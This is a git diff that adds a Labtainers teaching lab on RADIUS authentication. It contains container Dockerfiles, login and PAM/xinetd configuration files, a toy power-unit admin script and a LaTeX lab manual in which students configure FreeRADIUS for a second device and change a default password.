PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_system/etc/pam_radius_auth.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_system/etc/pam_radius_auth.conf new file mode 100644 index 000000000..e2c307696 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_system/etc/pam_radius_auth.conf @@ -0,0 +1,2 @@ +172.25.0.2 testing123 3 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_system/sbin/faux_init new file mode 100755 index 000000000..4f02370dd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_system/sbin/faux_init @@ -0,0 +1,22 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# +### Uncomment the while loop below +### if it is necessary to make sure parameterization has happened + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exist +PERMLOCKDIR=/var/labtainer/did_param +###while [ ! -d "$PERMLOCKDIR" ] +###do +### sleep 2 +###done + +# PUT any daemon start (that need parameterization after while loop) +/usr/sbin/rsyslogd -n & +service rc.local start +/etc/init.d/mynotify.sh start +service xinetd restart + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/manage.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/manage.py new file mode 100755 index 000000000..14d231658 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/manage.py @@ -0,0 +1,27 @@ +#!/usr/bin/env python +import sys +done = False +running = False +while not done: + cmd = raw_input("cadmin> ") + if cmd == 'h' or cmd == 'help': + print('start : enable the power distribution unit') + print('stop : disable the power distribution unit') + print('status : show status of the power distirbution unit') + print('exit : exit administrator tool') + elif cmd == 'status': + if running: + print('Power distribution unit powered on') + else: + print('Power distribution unit powered off') + elif cmd == 'start': + print('Starting power distribution unit') + running = True + elif cmd == 'stop': + print('Stopping power distribution unit') + running = False + elif cmd == 'exit': + print('bye') + exit(0) + else: + print('eh?') diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/student_startup.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/student_startup.sh new file mode 100644 index 000000000..8faa0a01b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/student_startup.sh @@ -0,0 +1,3 @@ +#!/bin/bash +$HOME/manage.py +exit diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/dockerfiles/Dockerfile.radius.client1.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/dockerfiles/Dockerfile.radius.client1.student new file mode 100644 index 000000000..597b1b6e3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/dockerfiles/Dockerfile.radius.client1.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +#RUN /usr/bin/yum-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/dockerfiles/Dockerfile.radius.client2.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/dockerfiles/Dockerfile.radius.client2.student new file mode 100644 index 000000000..597b1b6e3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/dockerfiles/Dockerfile.radius.client2.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +#RUN /usr/bin/yum-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/dockerfiles/Dockerfile.radius.controller1.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/dockerfiles/Dockerfile.radius.controller1.student new file mode 100644 index 000000000..0947ff673 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/dockerfiles/Dockerfile.radius.controller1.student @@ -0,0 +1,72 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +#FROM $registry/labtainer.base +FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +#RUN /usr/bin/yum-source.sh +# +# put package installation here +# +RUN apt-get update && apt-get install -y libpam-radius-auth +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/dockerfiles/Dockerfile.radius.controller2.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/dockerfiles/Dockerfile.radius.controller2.student new file mode 100644 index 000000000..0947ff673 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/dockerfiles/Dockerfile.radius.controller2.student @@ -0,0 +1,72 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +#FROM $registry/labtainer.base +FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +#RUN /usr/bin/yum-source.sh +# +# put package installation here +# +RUN apt-get update && apt-get install -y libpam-radius-auth +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/dockerfiles/Dockerfile.radius.radius.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/dockerfiles/Dockerfile.radius.radius.student new file mode 100644 index 000000000..c3d406336 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/dockerfiles/Dockerfile.radius.radius.student @@ -0,0 +1,66 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template for CentOS +# +# +ARG registry +FROM $registry/labtainer.centos.xtra +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/yum-source.sh +# +# put package installation here +# +RUN yum install -y freeradius freeradius-utils +RUN yum install -y wireshark wireshark-gnome +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +# replace above with below for centos/fedora +RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +RUN systemctl enable mynotify +RUN systemctl enable rc-local +CMD ["/usr/sbin/init"] +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/docs/Makefile new file mode 100644 index 000000000..e9ed48623 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/docs/Makefile @@ -0,0 +1,8 @@ +radius.pdf: radius.tex header.tex + latex radius + pdflatex -jobname=radius radius + pdflatex -jobname=radius radius + +clean: + rm -fr auto + rm -f radius.aux radius.log radius.pdf radius.dvi radius.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/docs/header.tex new file mode 100644 index 000000000..d81b557e1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/docs/header.tex @@ -0,0 +1,122 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/docs/radius.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/docs/radius.jpg new file mode 100644 index 000000000..87aa8cc48 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/docs/radius.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/docs/radius.odg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/docs/radius.odg new file mode 100755 index 000000000..805f83aa7 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/docs/radius.odg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/docs/radius.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/docs/radius.tex new file mode 100644 index 000000000..1df31fde5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/docs/radius.tex @@ -0,0 +1,119 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE Radius Authentication Service} +\vspace{0.1in}\\ +\end{center} + +\copyrightnotice + +\section{Overview} +This lab requires that you configure a Radius server to handle authentication +services for a network device that is already configured to use Radius-based +authentication. The Radius server is pre-configured to support an existing +network device. You are simply required to add the second device. +You are encouraged to use Wireshark within the lab to observe the Radius +protocol exchanges. + + +\subsection {Background} +The student is expect to have separately learned about the basic elements of authentication +and the Radius protocol. + +The student is expected to have at least a basic understanding of the Linux command line, +the basics of the file system, and the ability to edit a file. The student should have +knowledge of the use of Wireshark, e.g., see the ``wireshark-intro'' lab. + +\section{Lab Environment} +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer radius +\end{verbatim} +\noindent A link to this lab manual will be displayed. + +\section{Network Configuration} +This lab includes two simulated power distribution control devices that +are configured to authenticate users via the Radius protocol. There +are also two client computers from which users are expected to administer +the control devices, which requires that the users be authenticated. +And the network includes a Radius server. NOTE: the control devices +do not have virtual terminals connected to them, so they only way to +access them is through the client computers. The network is +illustrated in Figure~\ref{fig:topology}. +When the lab starts, you will get three terminals, one connected to each +of the client computers and one connected to the Radius server. + +The host names of each component are per the diagram. The /etc/hosts files +allow use of these host names instead of explicit ip addresses. + +\begin{figure}[htb] +\begin{center} +\includegraphics [width=0.8\textwidth,natwidth=621,natheight=403]{radius.jpg} +\end{center} +\caption{Network topology for the Radius lab} +\label{fig:topology} +\end{figure} + +\section{Lab Tasks} +\subsection{Explore} +Start wireshark on the radius server: +\begin{verbatim} + wireshark & +\end{verbatim} +\noindent and select the eth0 interface and start capturing data. + +Then start the radius service in debug mode: +\begin{verbatim} + radiusd -X +\end{verbatim} + +On client1, connect to controller1: +\begin{verbatim} + ./control_admin controller1 +\end{verbatim} +\noindent When prompted, provide {\tt hardcoded\_password} as the password. +\footnote{If the control\_admin program +repeatedly informs you that the password is not correct, that may be +due to the radius service not running.} +Observe the traffic in wireshark. + +Then use {\tt exit} to exit from controller1. And now try to access +controller2, again using a password of: {\tt hardcoded\_password} +\begin{verbatim} + ./control_admin controller2 +\end{verbatim} +\noindent What do you observe at the radius service? And in wireshark? + +\subsection{Configure radius for controller2} +The controller2 device has been pre-configured to use your Radius server for +authentication of users. That means it has the shared secret used by Radius +to encrypt user passwords, and it knows the IP address of the radius server. +However, the Radius server is not configured to serve controller2. You must +change the Radius server configuration to recognize controller2. +Use Ctrl-c at the radius server to stop the service. +Edit the {\tt /etc/raddb/clients.conf} file to allow controller2 to authenticate +via the radius service, and then restart the radius service. + +Try again to access controller2 from one of the clients. + +\subsection{Change the cadmin password} +Stop the radius service and edit the {\tt /etc/raddb/users} file to change the +password of the cadmin user to something other than {\tt hardcoded\_password}. Then test your abilty +use the config\_admin utility to access the controllers with the new password. + +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + +\end{document} diff --git 